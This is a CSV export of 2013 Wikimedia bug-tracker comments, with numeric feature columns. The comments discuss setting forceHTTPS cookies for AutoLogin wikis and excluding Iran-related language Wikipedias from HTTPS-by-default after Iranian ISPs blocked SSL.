247583,No forcehttps cookies for sister projects on AutoLogin,"Second half of the patch was added as a bug by Seb35. Probably good to keep this as a tracking bug, and that one for the specific issue.",,,1377791228,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,10.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5161290322580645,0.8387096774193549,"Second half of the patch was added as a bug by Seb35. Probably good to keep this as a tracking bug, and that one for the specific issue."
247581,No forcehttps cookies for sister projects on AutoLogin,"That patch only sets the cookies. Still need to clean up from them on logout, which requires touching every wiki. That will be a more complex patch.",,,1377733592,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,True,,,0,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,0.0,3.935483870967742,0.8709677419354839,"That patch only sets the cookies. Still need to clean up from them on logout, which requires touching every wiki. That will be a more complex patch."
247576,No forcehttps cookies for sister projects on AutoLogin,"Change 81591 merged by jenkins-bot:
Set forceHTTPS cookies for Autologin wikis

https://gerrit.wikimedia.org/r/81591",,,1377729697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,1.0,"Change 81591 merged by jenkins-bot:
Set forceHTTPS cookies for Autologin wikis

GERRIT_URL"
247570,No forcehttps cookies for sister projects on AutoLogin,"Change 81591 had a related patch set uploaded by CSteipp:
Set forceHTTPS cookies for Autologin wikis

https://gerrit.wikimedia.org/r/81591",,,1377729473,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.9,1.0,"Change 81591 had a related patch set uploaded by CSteipp:
Set forceHTTPS cookies for Autologin wikis

GERRIT_URL"
54846,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"**Author:** `popeno2003`

**Description:**
As was declared here:
https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/
and also said in Wikimania, wikimedia Websites are going to be HTTPS by default from 21 Aug.

Wikimedia Websites are not accessible in Iran through HTTPS and Ryan Lane told me that there would be an exception for fa* websites which are mostly edited and used in Iran.

After discussion with community, there were also another languages that are mostly used in Iran and wanted the same exception, I hereby enlist them here:

fa*
cbk*
mzn*
glk*
ku*

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: https1308
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53144
https://bugzilla.wikimedia.org/show_bug.cgi?id=53739",High,80.0,1376488920,1377774592.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-i27sjuytpviwwt4tpsro,task_description,resolved,True,c2,2,False,False,True,-2,True,0.0,0.0,0.0,1.5,0.5,2.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,5.0,6.5,0.0,0.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.0,0.0,0.0,0.5,0.0,12.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.5,14.5,0.5,2.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,2.0,6.5,9.0,0.0,0.0,0.0,2.0,0.0,1.0,0.5,1.0,0.5,0.0,0.0,0.0,3.526209023044466,0.6364005193119118,"**Author:** CODE

**Description:**
As was declared here:
URL
and also said in Wikimania, wikimedia Websites are going to be HTTPS by default from 21 Aug.

Wikimedia Websites are not accessible in Iran through HTTPS and Ryan Lane told me that there would be an exception for fa* websites which are mostly edited and used in Iran.

After discussion with community, there were also another languages that are mostly used in Iran and wanted the same exception, I hereby enlist them here:

fa*
cbk*
mzn*
glk*
ku*

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: https1308
**See Also**:
URL
URL"
233768,HTTPS only Wikimedia problem for Iran Language related Wikipedias,I checked two ISPs and they both blocked SSL now. :|,,,1377836174,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,I checked two ISPs and they both blocked SSL now. :|
233763,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"I am not bullish. In Iran, anything is possible.",,,1377813538,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,8.0,0.0,0.0,8.0,17.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,"I am not bullish. In Iran, anything is possible."
233758,HTTPS only Wikimedia problem for Iran Language related Wikipedias,We'd only re-enable it for iran specifically. We'll wait a couple days to make sure it isn't a short fluke.,,,1377812942,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,7.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,15.0,11.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.259259259259259,0.8518518518518519,We'd only re-enable it for iran specifically. We'll wait a couple days to make sure it isn't a short fluke.
233753,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Please don't enable it, today it works, but we can't guarantee tomorrow.
Beside it, I can't guarantee other areas of Iran.",,,1377812475,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,17.0,7.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.433333333333333,0.7,"Please don't enable it, today it works, but we can't guarantee tomorrow.
Beside it, I can't guarantee other areas of Iran."
233748,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Problem is sometimes this opening and closing doesn't last more than three hours. So When I say please wait, I mean one day or two at the most",,,1377803474,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.7096774193548385,0.967741935483871,"Problem is sometimes this opening and closing doesn't last more than three hours. So When I say please wait, I mean one day or two at the most"
233742,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"**popeno2003** wrote:

I agree with Ryan on this, when they open the gates why not use it. I hope it last long. when not we need to add the exception.",,,1377801162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,8.0,2.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.05,0.75,"**popeno2003** wrote:

I agree with Ryan on this, when they open the gates why not use it. I hope it last long. when not we need to add the exception."
233735,HTTPS only Wikimedia problem for Iran Language related Wikipedias,Works for me.,,,1377800981,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,2.75,1.0,Works for me.
233730,HTTPS only Wikimedia problem for Iran Language related Wikipedias,I agree. No sense in throwing cleartext passwords if ssl is allowed. Should we make than config change and deploy during the 4pm window?,,,1377800495,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,7.0,14.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.035714285714286,0.9642857142857143,I agree. No sense in throwing cleartext passwords if ssl is allowed. Should we make than config change and deploy during the 4pm window?
233724,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"I'd say if it's allowed, let's enable it now. If that changes, let us know and we'll immediately disable it.",,,1377799166,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,11.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,25.0,7.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.7857142857142857,"I'd say if it's allowed, let's enable it now. If that changes, let us know and we'll immediately disable it."
233717,HTTPS only Wikimedia problem for Iran Language related Wikipedias,It seems Iran has opened SSL of WMF but there is no guarantee that Iran won't block it again. I think we need to wait for a while and see what will happen,,,1377797221,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,6.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,6.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,17.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4857142857142858,0.9714285714285714,It seems Iran has opened SSL of WMF but there is no guarantee that Iran won't block it again. I think we need to wait for a while and see what will happen
233713,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Yes, it works.",,,1377784481,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4,1.0,"Yes, it works."
233708,HTTPS only Wikimedia problem for Iran Language related Wikipedias,Now in Iran https links  for wikipedia works,,,1377779477,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Now in Iran https links  for wikipedia works
233702,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #0)
> After discussion with community, there were also another languages that are
> mostly used in Iran and wanted the same exception, I hereby enlist them here:

For your information: An IRC user stated that excluding Iran would not be needed.
I myself do not have enough information to judge (plus I am not involved in the SecureLogin deployment).

Only __if__ Farsi (or any other language community in Iran) would like to see a change to the current policy of excluding the wiki from SecureLogin, please discuss with the community on your wiki, and see https://meta.wikimedia.org/wiki/Requesting_wiki_configuration_changes for more information. 
Thanks for your understanding.",,,1377775055,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,True,,,0,True,1.0,0.0,0.0,1.0,1.5,3.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.0,1.5,1.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,3.5,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,9.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,5.0,1.0,10.0,1.5,2.5,5.5,0.0,0.0,0.0,0.5,6.0,1.0,0.5,0.0,4.0,13.0,4.5,0.0,0.0,0.0,4.0,0.0,0.0,1.5,0.5,1.5,1.0,0.0,0.0,3.8429419986023765,0.7756813417190775,"(In reply to comment #0)
QUOTE
QUOTE

For your information: An IRC user stated that excluding Iran would not be needed.
I myself do not have enough information to judge (plus I am not involved in the SecureLogin deployment).

Only __if__ Farsi (or any other language community in Iran) would like to see a change to the current policy of excluding the wiki from SecureLogin, please discuss with the community on your wiki, and see URL for more information. 
Thanks for your understanding."
233696,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"This change took place yesterday, and Iran has been excluded as per https://meta.wikimedia.org/wiki/HTTPS#Excluded_Countries .

CLosing as FIXED.",,,1377774592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,25.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,0.9,"This change took place yesterday, and Iran has been excluded as per URL .

CLosing as FIXED."
233689,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #12 by Stefan2)
> What about other languages predominantly spoken in China? There is a list at
> [[m:Talk:HTTPS#Excluded language]] but I can't tell if the list is complete.

Please ask on that talk page instead. I prefer to see such discussion and questions on the public talk page instead of a technical bugtracker.",,,1377075071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8095238095238095,"(In reply to comment #12 by Stefan2)
QUOTE
QUOTE

Please ask on that talk page instead. I prefer to see such discussion and questions on the public talk page instead of a technical bugtracker."
233681,HTTPS only Wikimedia problem for Iran Language related Wikipedias,Now all thing in order.,,,1377071409,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-1,True,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,Now all thing in order.
233675,HTTPS only Wikimedia problem for Iran Language related Wikipedias,See also [[m:Talk:HTTPS#List of Chinese Wikipedia]].,,,1377041551,,PHID-USER-zcvchmenkrawdr5233in,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.1333333333333333,0.8,See also [[m:Talk:HTTPS#List of Chinese Wikipedia]].
233667,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #11)
> Updated list of initially excluded language wikis at:
> https://meta.wikimedia.org/wiki/HTTPS#List_of_excluded_language_wikis

What about other languages predominantly spoken in China? There is a list at [[m:Talk:HTTPS#Excluded language]] but I can't tell if the list is complete.",,,1377034732,,PHID-USER-zcvchmenkrawdr5233in,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,12.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,3.4375,0.8541666666666666,"(In reply to comment #11)
QUOTE
QUOTE

What about other languages predominantly spoken in China? There is a list at [[m:Talk:HTTPS#Excluded language]] but I can't tell if the list is complete."
233660,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Updated list of initially excluded language wikis at:
